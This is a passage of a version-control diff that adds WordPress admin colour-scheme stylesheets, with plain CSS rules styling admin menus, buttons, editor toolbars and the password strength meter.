.mceMenuItemTitle span.mceText{color:#000;}.wp_themeSkin .mceMenuItemDisabled .mceText{color:#888;}#quicktags,.wp_themeSkin tr.mceFirst td.mceToolbar{background:#e3eef7 url("../images/ed-bg-vs.gif") repeat-x scroll left top;}.wp_themeSkin tr.mceFirst td.mceToolbar{border-color:#dfdfdf;}.wp-admin #mceModalBlocker{background:#000;}.wp-admin .clearlooks2 .mceFocus .mceTop .mceLeft{background:#444;border-left:1px solid #999;border-top:1px solid #999;-moz-border-radius:4px 0 0 0;-webkit-border-top-left-radius:4px;-khtml-border-top-left-radius:4px;border-top-left-radius:4px;}.wp-admin .clearlooks2 .mceFocus .mceTop .mceRight{background:#444;border-right:1px solid #999;border-top:1px solid #999;border-top-right-radius:4px;-khtml-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;-moz-border-radius:0 4px 0 0;}.wp-admin .clearlooks2 .mceMiddle .mceLeft{background:#f1f1f1;border-left:1px solid #999;}.wp-admin .clearlooks2 .mceMiddle .mceRight{background:#f1f1f1;border-right:1px solid #999;}.wp-admin .clearlooks2 .mceBottom{background:#f1f1f1;border-bottom:1px solid #999;}.wp-admin .clearlooks2 .mceBottom .mceLeft{background:#f1f1f1;border-bottom:1px solid #999;border-left:1px solid #999;}.wp-admin .clearlooks2 .mceBottom .mceCenter{background:#f1f1f1;border-bottom:1px solid #999;}.wp-admin .clearlooks2 .mceBottom .mceRight{background:#f1f1f1;border-bottom:1px solid #999;border-right:1px solid #999;}.wp-admin .clearlooks2 .mceFocus .mceTop span{color:#e5e5e5;}#editorcontainer,#post-status-info,#titlediv #title,.editwidget .widget-inside{border-color:#dfdfdf;}#titlediv #title{background-color:#fff;}#tTips p#tTips_inside{background-color:#ddd;color:#333;}#timestampdiv input,#namediv input,#poststuff .inside .the-tagcloud{border-color:#dfdfdf;}#adminmenu *{border-color:#dfdfdf;}#adminmenu li.wp-menu-separator{background:transparent url(../images/menu-arrows.gif) no-repeat scroll left 5px;}.folded #adminmenu li.wp-menu-separator{background:transparent url(../images/menu-arrows.gif) no-repeat scroll right -34px;}#adminmenu li.wp-has-current-submenu.wp-menu-open .wp-menu-toggle,#adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle{background:transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -207px;}#adminmenu .wp-has-submenu:hover .wp-menu-toggle,#adminmenu .wp-menu-open .wp-menu-toggle{background:transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -109px;}#adminmenu a.menu-top{background:#eaf3fa url(../images/menu-bits-vs.gif) repeat-x scroll left -379px;}#adminmenu .wp-submenu a{background:#fff url(../images/menu-bits-vs.gif) no-repeat scroll 0 -310px;}#adminmenu .wp-has-current-submenu ul li a{background:none;}#adminmenu .wp-has-current-submenu ul li a.current{background:url(../images/menu-dark.gif) top left no-repeat!important;}#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,#adminmenu .menu-top .current{background:#3c6b95 url(../images/menu-bits-vs.gif) top left repeat-x;border-color:#1d507d;color:#fff;text-shadow:rgba(0,0,0,0.4) 0 -1px 0;}#adminmenu li.wp-has-current-submenu .wp-submenu,#adminmenu li.wp-has-current-submenu ul li a{border-color:#aaa!important;}#adminmenu li.wp-has-current-submenu ul li a{background:url(../images/menu-dark.gif) bottom left no-repeat!important;}#adminmenu li.wp-has-current-submenu ul{border-bottom-color:#aaa;}#adminmenu li.menu-top .current:hover{border-color:#6583c0;}#adminmenu .wp-submenu .current a.current{background:transparent url(../images/menu-bits-vs.gif) no-repeat scroll 0 -289px;}#adminmenu .wp-submenu a:hover{background-color:#eaf2fa!important;color:#333!important;}#adminmenu .wp-submenu li.current,#adminmenu .wp-submenu li.current a,#adminmenu .wp-submenu li.current a:hover{color:#333;background-color:#f5f5f5;background-image:none;border-color:#e3e3e3;text-shadow:rgba(255,255,255,1) 0 1px 0;}#adminmenu .wp-submenu ul{background-color:#fff;}.folded #adminmenu li.menu-top,#adminmenu .wp-submenu .wp-submenu-head{background-color:#eaf2fa;}.folded #adminmenu li.wp-has-current-submenu,.folded #adminmenu li.menu-top.current{background-color:#bbd8e7;}#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head{background-color:#bbd8e7;border-color:#8cbdd5;}#adminmenu div.wp-submenu{background-color:transparent;}#adminmenu #menu-dashboard div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -61px -33px;}#adminmenu #menu-dashboard:hover div.wp-menu-image,#adminmenu #menu-dashboard.wp-has-current-submenu div.wp-menu-image,#adminmenu #menu-dashboard.current div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -61px -1px;}#adminmenu #menu-posts div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -272px -33px;}#adminmenu #menu-posts:hover div.wp-menu-image,#adminmenu #menu-posts.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -272px -1px;}#adminmenu #menu-media div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -121px -33px;}#adminmenu #menu-media:hover div.wp-menu-image,#adminmenu #menu-media.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -121px -1px;}#adminmenu #menu-links div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -91px -33px;}#adminmenu #menu-links:hover div.wp-menu-image,#adminmenu #menu-links.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -91px -1px;}#adminmenu #menu-pages div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -151px -33px;}#adminmenu #menu-pages:hover div.wp-menu-image,#adminmenu #menu-pages.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -151px -1px;}#adminmenu #menu-comments div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -31px -33px;}#adminmenu #menu-comments:hover div.wp-menu-image,#adminmenu #menu-comments.wp-has-current-submenu div.wp-menu-image,#adminmenu #menu-comments.current div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -31px -1px;}#adminmenu #menu-appearance div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -1px -33px;}#adminmenu #menu-appearance:hover div.wp-menu-image,#adminmenu #menu-appearance.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -1px -1px;}#adminmenu #menu-plugins div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -181px -33px;}#adminmenu #menu-plugins:hover div.wp-menu-image,#adminmenu #menu-plugins.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -181px -1px;}#adminmenu #menu-users div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -301px -33px;}#adminmenu #menu-users:hover div.wp-menu-image,#adminmenu #menu-users.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -301px -1px;}#adminmenu #menu-tools div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -211px -33px;}#adminmenu #menu-tools:hover div.wp-menu-image,#adminmenu #menu-tools.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -211px -1px;}#adminmenu #menu-settings div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -241px -33px;}#adminmenu #menu-settings:hover div.wp-menu-image,#adminmenu #menu-settings.wp-has-current-submenu div.wp-menu-image{background:transparent url("../images/menu-vs.png") no-repeat scroll -241px -1px;}table.diff .diff-deletedline{background-color:#fdd;}table.diff .diff-deletedline del{background-color:#f99;}table.diff .diff-addedline{background-color:#dfd;}table.diff .diff-addedline ins{background-color:#9f9;}#att-info{background-color:#e4f2fd;}#sidemenu a{background-color:#f9f9f9;border-color:#f9f9f9;border-bottom-color:#dfdfdf;}#sidemenu a.current{background-color:#fff;border-color:#dfdfdf #dfdfdf #fff;color:#d54e21;}#screen-options-wrap,#contextual-help-wrap{background-color:#eae9e4;border-color:#dfdfdf;}#screen-meta-links a.show-settings{color:#606060;}#screen-meta-links a.show-settings:hover{color:#000;}#replysubmit{background-color:#f1f1f1;border-top-color:#ddd;}#replyerror{border-color:#ddd;background-color:#f9f9f9;}#edithead,#replyhead{background-color:#f1f1f1;}#ed_reply_toolbar{background-color:#e9e9e9;}.vim-current,.vim-current th,.vim-current td{background-color:#e4f2fd!important;}.star-average,.star.star-rating{background-color:#fc0;}div.star.select:hover{background-color:#d00;}#plugin-information .fyi ul{background-color:#eaf3fa;}#plugin-information .fyi h2.mainheader{background-color:#cee1ef;}#plugin-information pre,#plugin-information code{background-color:#ededff;}#plugin-information pre{border:1px solid #ccc;}.inline-edit-row fieldset input[type="text"],.inline-edit-row fieldset textarea,#bulk-titles,#replyrow input{border-color:#ddd;}.inline-editor div.title{background-color:#eaf3fa;}.inline-editor ul.cat-checklist{background-color:#fff;border-color:#ddd;}.inline-editor .categories .catshow,.inline-editor .categories .cathide{color:#21759b;}.inline-editor .quick-edit-save{background-color:#f1f1f1;}#replyrow #ed_reply_toolbar input:hover{border-color:#aaa;background:#ddd;}fieldset.inline-edit-col-right .inline-edit-col{border-color:#dfdfdf;}.attention{color:#d54e21;}.meta-box-sortables .postbox:hover .handlediv{background:transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -111px;}#major-publishing-actions{background:#eaf2fa;}.tablenav .tablenav-pages{color:#555;}.tablenav .tablenav-pages a{border-color:#e3e3e3;background:#eee url('../images/menu-bits-vs.gif') repeat-x scroll left -379px;}.tablenav .tablenav-pages a:hover{color:#d54e21;border-color:#d54321;}.tablenav .tablenav-pages a:active{color:#fff!important;}.tablenav .tablenav-pages .current{background:#dfdfdf;border-color:#d3d3d3;}#availablethemes,#availablethemes td{border-color:#ddd;}#current-theme img{border-color:#999;}#TB_window #TB_title a.tb-theme-preview-link,#TB_window #TB_title a.tb-theme-preview-link:visited{color:#999;}#TB_window #TB_title a.tb-theme-preview-link:hover,#TB_window #TB_title a.tb-theme-preview-link:focus{color:#ccc;}.misc-pub-section{border-bottom-color:#eee;}#minor-publishing{border-bottom-color:#ddd;}#post-body .misc-pub-section{border-right-color:#eee;}.post-com-count span{background-color:#bbb;}.form-table .color-palette td{border-color:#fff;}.sortable-placeholder{border-color:#bbb;background-color:#f5f5f5;}#post-body ul#category-tabs li.tabs a{color:#333;}#wp_editimgbtn,#wp_delimgbtn,#wp_editgallery,#wp_delgallery{border-color:#999;background-color:#eee;}#wp_editimgbtn:hover,#wp_delimgbtn:hover,#wp_editgallery:hover,#wp_delgallery:hover{border-color:#555;background-color:#ccc;}#favorite-first{background:#5580a6 url(../images/fav-vs.png) repeat-x 0 center;border-color:#517ea5!important;border-bottom-color:#416686!important;}#favorite-actions .slide-down{background-image:url(../images/fav-top-vs.gif);background-position:0 0;background-repeat:repeat-x;}#favorite-inside{border-color:#5b86ac;background-color:#5580a6;}#favorite-toggle{background:transparent url(../images/fav-arrow-vs.gif) no-repeat 0 -4px;}#favorite-actions a{color:#ddd;}#favorite-actions a:hover{color:#fff;}#favorite-inside a:hover{text-decoration:underline;}#favorite-actions .slide-down{border-bottom-color:#626262;}#screen-meta a.show-settings{background-color:transparent;text-shadow:rgba(255,255,255,0.7) 0 1px 0;}#icon-edit,#icon-post{background:transparent url(../images/icons32-vs.png) no-repeat -552px -5px;}#icon-index{background:transparent url(../images/icons32-vs.png) no-repeat -137px -5px;}#icon-upload{background:transparent url(../images/icons32-vs.png) no-repeat -251px -5px;}#icon-link-manager,#icon-link,#icon-link-category{background:transparent url(../images/icons32-vs.png) no-repeat -190px -5px;}#icon-edit-pages,#icon-page{background:transparent url(../images/icons32-vs.png) no-repeat -312px -5px;}#icon-edit-comments{background:transparent url(../images/icons32-vs.png) no-repeat -72px -5px;}#icon-themes{background:transparent url(../images/icons32-vs.png) no-repeat -11px -5px;}#icon-plugins{background:transparent url(../images/icons32-vs.png) no-repeat -370px -5px;}#icon-users,#icon-profile,#icon-user-edit{background:transparent url(../images/icons32-vs.png) no-repeat -600px -5px;}#icon-tools,#icon-admin{background:transparent url(../images/icons32-vs.png) no-repeat -432px -5px;}#icon-options-general{background:transparent url(../images/icons32-vs.png) no-repeat -492px -5px;}.view-switch #view-switch-list{background:transparent url(../images/list-vs.png) no-repeat 0 0;}.view-switch #view-switch-list.current{background:transparent url(../images/list-vs.png) no-repeat -40px 0;}.view-switch #view-switch-excerpt{background:transparent url(../images/list-vs.png) no-repeat -20px 0;}.view-switch #view-switch-excerpt.current{background:transparent url(../images/list-vs.png) no-repeat -60px 0;}#header-logo{background:transparent url(../images/wp-logo-vs.gif) no-repeat scroll center center;}#wphead #site-visit-button{background-color:#3c6b95;background-image:url(../images/visit-site-button-grad-vs.gif);color:#b6d1e4;text-shadow:#3f3f3f 0 -1px 0;}#wphead a:hover #site-visit-button{color:#fff;}#wphead a:focus #site-visit-button,#wphead a:active #site-visit-button{background-position:0 -27px;}.popular-tags,.feature-filter{background-color:#fff;border-color:#dfdfdf;}#theme-information .action-button{border-top-color:#dfdfdf;}.theme-listing br.line{border-bottom-color:#ccc;}div.widgets-sortables,#widgets-left .inactive{background-color:#f1f1f1;border-color:#ddd;}#available-widgets .widget-holder{background-color:#fff;border-color:#ddd;}#widgets-left .sidebar-name{background-color:#aaa;background-image:url(../images/ed-bg-vs.gif);text-shadow:#FFF 0 1px 0;border-color:#dfdfdf;}#widgets-right .sidebar-name{background-image:url(../images/fav-vs.png);text-shadow:#3f3f3f 0 -1px 0;background-color:#636363;border-color:#636363;color:#fff;}.sidebar-name:hover,#removing-widget{color:#d54e21;}#removing-widget span{color:black;}#widgets-left .sidebar-name-arrow{background:transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -109px;}#widgets-right .sidebar-name-arrow{background:transparent url(../images/fav-arrow-vs.gif) no-repeat scroll 0 -1px;}.in-widget-title{color:#606060;}.deleting .widget-title *{color:#aaa;}.imgedit-menu div{border-color:#d5d5d5;background-color:#f1f1f1;}.imgedit-menu div:hover{border-color:#c1c1c1;background-color:#eaeaea;}.imgedit-menu div.disabled{border-color:#ccc;background-color:#ddd;filter:alpha(opacity=50);opacity:.5;}#dashboard_recent_comments div.undo{border-top-color:#dfdfdf;}.comment-ays,.comment-ays th{border-color:#ddd;}.comment-ays th{background-color:#f1f1f1;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/colors-classic.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/colors-classic.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1708 @@ +html { + background-color: #f7f6f1; +} + +* html input, +* html .widget { + border-color: #8cbdd5; +} + +textarea, +input[type="text"], +input[type="password"], +input[type="file"], +input[type="button"], +input[type="submit"], +input[type="reset"], +select { + border-color: #dfdfdf; + background-color: #fff; +} + +kbd, +code { + background: #eaeaea; +} + +input[readonly] { + background-color: #eee; +} + +.find-box-search { + border-color: #dfdfdf; + background-color: #f1f1f1; +} + +.find-box { + background-color: #f1f1f1; +} + +.find-box-inside { + background-color: #fff; +} + +a.page-numbers:hover { + border-color: #999; +} + +body, +#wpbody, +.form-table .pre { + color: #333; +} + +body > #upload-menu { + border-bottom-color: #fff; +} + +#postcustomstuff table, +#your-profile fieldset, +#rightnow, +div.dashboard-widget, +#dashboard-widgets p.dashboard-widget-links, +#replyrow #ed_reply_toolbar input { + border-color: #ccc; +} + +#poststuff .inside label.spam, +#poststuff .inside label.deleted { + color: red; +} + +#poststuff .inside label.waiting { + color: orange; +} + +#poststuff .inside label.approved { + color: green; +} + +#postcustomstuff table { + border-color: #dfdfdf; + background-color: #f9f9f9; +} + +#postcustomstuff thead th { + background-color: #f1f1f1; +} + +#postcustomstuff table input, +#postcustomstuff table textarea { + border-color: #dfdfdf; + background-color: #fff; +} + +.widefat { + border-color: #dfdfdf; + background-color: #fff; +} + +div.dashboard-widget-error { + background-color: #c43; +} + +div.dashboard-widget-notice { + background-color: #cfe1ef; +} + +div.dashboard-widget-submit { + border-top-color: #ccc; +} + +div.tabs-panel, +ul#category-tabs li.tabs { + border-color: #dfdfdf; +} + +ul#category-tabs li.tabs { + background-color: #f1f1f1; +} + +input.disabled, +textarea.disabled { + background-color: #ccc; +} +/* #upload-menu li a.upload-tab-link, */ +.login #backtoblog a:hover, +#plugin-information .action-button a, +#plugin-information .action-button a:hover, +#plugin-information .action-button a:visited { + color: #fff; +} + +.widget .widget-top, +.postbox h3, +.stuffbox h3 { + background: #d5e6f2 url("../images/blue-grad.png") repeat-x left top; + text-shadow: #fff 0 1px 0; +} + +.form-table th, +.form-wrap label { + color: #222; + text-shadow: #fff 0 1px 0; +} + +.description, +.form-wrap p { + color: #666; +} + +strong .post-com-count span { + background-color: #21759b; +} + +.sorthelper { + background-color: #ccf3fa; +} + +.ac_match, +.subsubsub a.current { + color: #000; +} + +.wrap h2 { + color: #093e56; +} + +.ac_over { + background-color: #f0f0b8; +} + +.ac_results { + background-color: #fff; + border-color: #808080; +} + +.ac_results li { + color: #101010; +} + +.alt +.alternate { + background-color: #edfbfc; +} + +.available-theme a.screenshot { + background-color: #f1f1f1; + border-color: #ddd; +} + +.bar { + background-color: #e8e8e8; + border-right-color: #99d; +} + +#media-upload, +#media-upload .media-item .slidetoggle { + background: #fff; +} + +#media-upload .slidetoggle { + border-top-color: #dfdfdf; +} + +.error, +.login #login_error { + background-color: #ffebe8; + border-color: #c00; +} + +.error a { + color: #c00; +} + +.form-invalid { + background-color: #ffebe8 !important; +} + +.form-invalid input, +.form-invalid select { + border-color: #c00 !important; +} + +.submit { + border-color: #8cbdd5; +} + +.highlight { + background-color: #e4f2fd; + color: #d54e21; +} + +.howto, +.nonessential, +#edit-slug-box, +.form-input-tip, +.rss-widget span.rss-date, +.subsubsub { + color: #666; +} + +.media-item { + border-bottom-color: #dfdfdf; +} + +#wpbody-content #media-items .describe { + border-top-color: #dfdfdf; +} + +.media-upload-form label.form-help, +td.help { + color: #9a9a9a; +} + +.post-com-count { + background-image: url(../images/bubble_bg.gif); + color: #fff; +} + +.post-com-count span { + background-color: #bbb; + color: #fff; +} + +.post-com-count:hover span { + background-color: #d54e21; +} + +.quicktags, .search { + background-color: #ccc; + color: #000; +} + +.side-info h5 { + border-bottom-color: #dadada; +} + +.side-info ul { + color: #666; +} + +.button, +.button-secondary, +.submit input, +input[type=button], +input[type=submit] { + border-color: #dfdfdf; + color: #464646; +} + +.button:hover, +.button-secondary:hover, +.submit input:hover, +input[type=button]:hover, +input[type=submit]:hover { + color: #000; + border-color: #adaca7; +} + +.button, +.submit input, +.button-secondary { + background: #f2f2f2 url(../images/white-grad.png) repeat-x scroll left top; + text-shadow: rgba(255,255,255,1) 0 1px 0; +} + +.button:active, +.submit input:active, +.button-secondary:active { + background: #eee url(../images/white-grad-active.png) repeat-x scroll left top; +} + +input.button-primary, +button.button-primary, +a.button-primary { + border-color: #5b86ab; + font-weight: bold; + color: #fff; + background: #5580a6 url(../images/button-grad-vs.png) repeat-x scroll left top; + text-shadow: rgba(0,0,0,0.3) 0 -1px 0; +} + +input.button-primary:active, +button.button-primary:active, +a.button-primary:active { + background: #21759b url(../images/button-grad-active-vs.png) repeat-x scroll left top; + color: #eaf2fa; +} + +input.button-primary:hover, +button.button-primary:hover, +a.button-primary:hover, +a.button-primary:focus, +a.button-primary:active { + border-color: #2e5475; + color: #eaf2fa; +} + +.button-disabled, +.button[disabled], +.button:disabled, +.button-secondary[disabled], +.button-secondary:disabled, +a.button.disabled { + color: #aaa !important; + border-color: #ddd !important; +} + +.button-primary-disabled, +.button-primary[disabled], +.button-primary:disabled { + color: #B0C3E2 !important; + background: #6590A6 !important; +} + +a:hover, +a:active, +a:focus { + color: #d54e21; +} + +#wphead #viewsite a:hover, +#adminmenu a:hover, +#adminmenu ul.wp-submenu a:hover, +#the-comment-list .comment a:hover, +#rightnow a:hover, +#media-upload a.del-link:hover, +div.dashboard-widget-submit input:hover, +.subsubsub a:hover, +.subsubsub a.current:hover, +.ui-tabs-nav a:hover, +.plugins .inactive a:hover, +#all-plugins-table .plugins .inactive a:hover, +#search-plugins-table .plugins .inactive a:hover { + color: #d54e21; +} + +#the-comment-list .comment-item, +#dashboard-widgets #dashboard_quick_press form p.submit { + border-color: #dfdfdf; +} + +#dashboard_right_now .table { + background:#faf9f7 !important; +} + +#side-sortables #category-tabs .tabs a { + color: #333; +} + +#rightnow .rbutton { + background-color: #ebebeb; + color: #264761; +} + +.submitbox .submit { + background-color: #464646; + color: #ccc; +} + +.plugins a.delete:hover, +#all-plugins-table .plugins a.delete:hover, +#search-plugins-table .plugins a.delete:hover, +.submitbox .submitdelete { + color: #f00; + border-bottom-color: #f00; +} + +.submitbox .submitdelete:hover, +#media-items a.delete:hover { + color: #fff; + background-color: #f00; + border-bottom-color: #f00; +} + +#normal-sortables .submitbox .submitdelete:hover { + color: #000; + background-color: #f00; + border-bottom-color: #f00; +} + +.tablenav .dots { + border-color: transparent; +} + +.tablenav .next, +.tablenav .prev { + border-color: transparent; + color: #21759b; +} + +.tablenav .next:hover, +.tablenav .prev:hover { + border-color: transparent; + color: #d54e21; +} + +.updated, +.login .message { + background-color: #ffffe0; + border-color: #e6db55; +} + +.update-message { + color: #000000; +} + +a.page-numbers { + border-bottom-color: #b8d3e2; +} + +.commentlist li { + border-bottom-color: #ccc; +} + +.widefat td, +.widefat th, +#install-plugins .plugins td, +#install-plugins .plugins th { + border-color: #dfdfdf; +} + +.widefat th { + text-shadow: rgba(255,255,255,0.8) 0 1px 0; +} + +.widefat thead tr th, +.widefat tfoot tr th, +h3.dashboard-widget-title, +h3.dashboard-widget-title span, +h3.dashboard-widget-title small, +.find-box-head { + color: #333; + background: #d5e6f2 url(../images/blue-grad.png) repeat-x scroll left top; +} + +h3.dashboard-widget-title small a { + color: #d7d7d7; +} + +h3.dashboard-widget-title small a:hover { + color: #fff; +} + +a, +#adminmenu a, +#poststuff #edButtonPreview, +#poststuff #edButtonHTML, +#the-comment-list p.comment-author strong a, +#media-upload a.del-link, +#media-items a.delete, +.plugins a.delete, +.ui-tabs-nav a { + color: #1c6280; +} + +/* Because we don't want visited on these links */ +body.press-this .tabs a, +body.press-this .tabs a:hover { + background-color: #fff; + border-color: #c6d9e9; + border-bottom-color: #fff; + color: #d54e21; +} + +#adminmenu #awaiting-mod, +#adminmenu .update-plugins, +#sidemenu a .update-plugins, +#rightnow .reallynow, +#plugin-information .action-button { + background-color: #d54e21; + color: #fff; +} + +#adminmenu li a:hover #awaiting-mod, +#adminmenu li a:hover .update-plugins, +#sidemenu li a:hover .update-plugins { + background-color: #264761; + color: #fff; +} + +#adminmenu li.current a #awaiting-mod, +#adminmenu li.current a .update-plugins, +#adminmenu li.wp-has-current-submenu a .update-plugins, +#adminmenu li.wp-has-current-submenu a .update-plugins { + background-color: #ddd; + color: #000; + text-shadow: none; + -moz-box-shadow: rgba(0,0,0,0.2) 0 -1px 0; + -khtml-box-shadow: rgba(0,0,0,0.2) 0 -1px 0; + -webkit-box-shadow: rgba(0,0,0,0.2) 0 -1px 0; + box-shadow: rgba(0,0,0,0.2) 0 -1px 0; +} + +#adminmenu li.current a:hover #awaiting-mod, +#adminmenu li.current a:hover .update-plugins, +#adminmenu li.wp-has-current-submenu a:hover #awaiting-mod, +#adminmenu li.wp-has-current-submenu a:hover .update-plugins { + background-color: #264761; + color: #fff; +} + +div#media-upload-header, +div#plugin-information-header { + background-color: #f9f9f9; + border-bottom-color: #dfdfdf; +} + +#currenttheme img { + border-color: #666; +} + +#dashboard_secondary div.dashboard-widget-content ul li a { + background-color: #f9f9f9; +} + +input.readonly, textarea.readonly { + background-color: #ddd; +} + +#ed_toolbar input, +#ed_reply_toolbar input { + background: #fff url("../images/fade-butt.png") repeat-x 0 -2px; +} + +#editable-post-name { + background-color: #fffbcc; +} + +#edit-slug-box strong, +.tablenav .displaying-num, +#submitted-on { + color: #777; +} + +.login #nav a { + color: #21759b !important; +} + +.login #nav a:hover { + color: #d54e21 !important; +} + +#footer, +#footer-upgrade { + background: #1d507d; + color: #b6d1e4; +} + +#media-items, +.imgedit-group { + border-color: #dfdfdf; +} + +.checkbox, +.side-info, +.plugins tr, +.postbox, +#your-profile #rich_editing { + background-color: #fff; +} + +.plugins .inactive, +.plugins .inactive th, +.plugins .inactive td, +tr.inactive + tr.plugin-update-tr .plugin-update { + background-color: #ebeeef; +} + +.plugin-update-tr .update-message { + background-color: #fffbe4; + border-color: #dfdfdf; +} + +.plugins .active, +.plugins .active th, +.plugins .active td { + color: #000; +} + +.plugins .inactive a { + color: #557799; +} + +#the-comment-list tr.undo, +#the-comment-list div.undo { + background-color: #f4f4f4; +} + +#the-comment-list .unapproved { + background-color: #ffffe0; +} + +#the-comment-list .approve a { + color: #006505; +} + +#the-comment-list .unapprove a { + color: #d98500; +} + +table.widefat span.delete a, +table.widefat span.trash a, +table.widefat span.spam a, +#dashboard_recent_comments .delete a, +#dashboard_recent_comments .trash a, +#dashboard_recent_comments .spam a { + color: #bc0b0b; +} + +.widget, +#widget-list .widget-top, +.postbox, +#titlediv, +#poststuff .postarea, +.stuffbox { + border-color: #dfdfdf; +} + +.widget, +.postbox { + background-color: #fff; +} + +.ui-sortable .postbox h3 { + color: #093e56; +} + +.widget .widget-top, +.ui-sortable .postbox h3:hover { + color: #000; +} + +.curtime #timestamp { + background-image: url(../images/date-button.gif); +} + +#quicktags #ed_link { + color: #00f; +} + +#rightnow .youhave { + background-color: #f0f6fb; +} + +#rightnow a { + color: #448abd; +} + +.tagchecklist span a, +#bulk-titles div a { + background: url(../images/xit.gif) no-repeat; +} + +.tagchecklist span a:hover, +#bulk-titles div a:hover { + background: url(../images/xit.gif) no-repeat -10px 0; +} + +#update-nag { + background-color: #fffeeb; + border-color: #ccc; + color: #555; +} + +.login #backtoblog a { + color: #ccc; +} + +#wphead { + background-color: #1d507d; +} + +body.login { + border-top-color: #093e56; +} + +#wphead h1 a { + color: #fff; +} + +#user_info { + color: #b6d1e4; +} + +#user_info a:link, +#user_info a:visited, +#footer a:link, +#footer a:visited { + color: #fff; + text-decoration: none; +} + +#user_info a:hover, +#user_info a:active, +#footer a:hover, +#footer a:active { + text-decoration: underline; +} + +div#media-upload-error, +.file-error, +abbr.required, +.widget-control-remove:hover, +table.widefat .delete a:hover, +table.widefat .trash a:hover, +table.widefat .spam a:hover, +#dashboard_recent_comments .delete a:hover, +#dashboard_recent_comments .trash a:hover, +#dashboard_recent_comments .spam a:hover { + color: #f00; +} + +/* password strength meter */ +#pass-strength-result { + background-color: #eee; + border-color: #ddd !important; +} + +#pass-strength-result.bad { + background-color: #ffb78c; + border-color: #ff853c !important; +} + +#pass-strength-result.good { + background-color: #ffec8b; + border-color: #fc0 !important; +} + +#pass-strength-result.short { + background-color: #ffa0a0; + border-color: #f04040 !important; +} + +#pass-strength-result.strong { + background-color: #c3ff88; + border-color: #8dff1c !important; +} + +/* editors */ +#quicktags { + border-color: #dfdfdf; + background-color: #dfdfdf; +} + +#ed_toolbar input { + border-color: #c3c3c3; +} + +#ed_toolbar input:hover { + border-color: #aaa; + background: #ddd; +} + +#poststuff .wp_themeSkin .mceStatusbar { + border-color: #ededed; +} + +#poststuff #edButtonPreview, +#poststuff #edButtonHTML { + background-color: #f2f1eb; + border-color: #dfdfdf; + color: #999; +} + +#poststuff #editor-toolbar .active { + border-bottom-color: #e3eef7; + background-color: #e3eef7; + color: #333; +} + +/* TinyMCE */ +#post-status-info { + background-color: #ededed; +} + +.wp_themeSkin *, +.wp_themeSkin a:hover, +.wp_themeSkin a:link, +.wp_themeSkin a:visited, +.wp_themeSkin a:active { + color: #000; +} + +/* Containers */ +.wp_themeSkin iframe { + background: #fff; +} + +/* Layout */ +.wp_themeSkin .mceStatusbar { + color: #000; + background-color: #f5f5f5; +} + +/* Button */ +.wp_themeSkin .mceButton { + background-color: #e9e8e8; + border-color: #b2b2b2; +} + +.wp_themeSkin a.mceButtonEnabled:hover, +.wp_themeSkin a.mceButtonActive, +.wp_themeSkin a.mceButtonSelected { + background-color: #d5d5d5; + border-color: #777 !important; +} + +.wp_themeSkin .mceButtonDisabled { + border-color: #ccc !important; +} + +/* ListBox */ +.wp_themeSkin .mceListBox .mceText, +.wp_themeSkin .mceListBox .mceOpen { + border-color: #b2b2b2; + background-color: #d5d5d5; +} + +.wp_themeSkin table.mceListBoxEnabled:hover .mceOpen, +.wp_themeSkin .mceListBoxHover .mceOpen, +.wp_themeSkin .mceListBoxSelected .mceOpen, +.wp_themeSkin .mceListBoxSelected .mceText { + border-color: #777 !important; + background-color: #d5d5d5; +} + +.wp_themeSkin table.mceListBoxEnabled:hover .mceText, +.wp_themeSkin .mceListBoxHover .mceText { + border-color: #777 !important; +} + +.wp_themeSkin select.mceListBox { + border-color: #b2b2b2; + background-color: #fff; +} + +/* SplitButton */ +.wp_themeSkin .mceSplitButton a.mceAction, +.wp_themeSkin .mceSplitButton a.mceOpen { + border-color: #b2b2b2; +} + +.wp_themeSkin .mceSplitButton a.mceOpen:hover, +.wp_themeSkin .mceSplitButtonSelected a.mceOpen, +.wp_themeSkin table.mceSplitButtonEnabled:hover a.mceAction, +.wp_themeSkin .mceSplitButton a.mceAction:hover { + background-color: #d5d5d5; + border-color: #777 !important; +} + +.wp_themeSkin .mceSplitButtonActive { + background-color: #b2b2b2; +} + +/* ColorSplitButton */ +.wp_themeSkin div.mceColorSplitMenu table { + background-color: #ebebeb; + border-color: #b2b2b2; +} + +.wp_themeSkin .mceColorSplitMenu a { + border-color: #b2b2b2; +} + 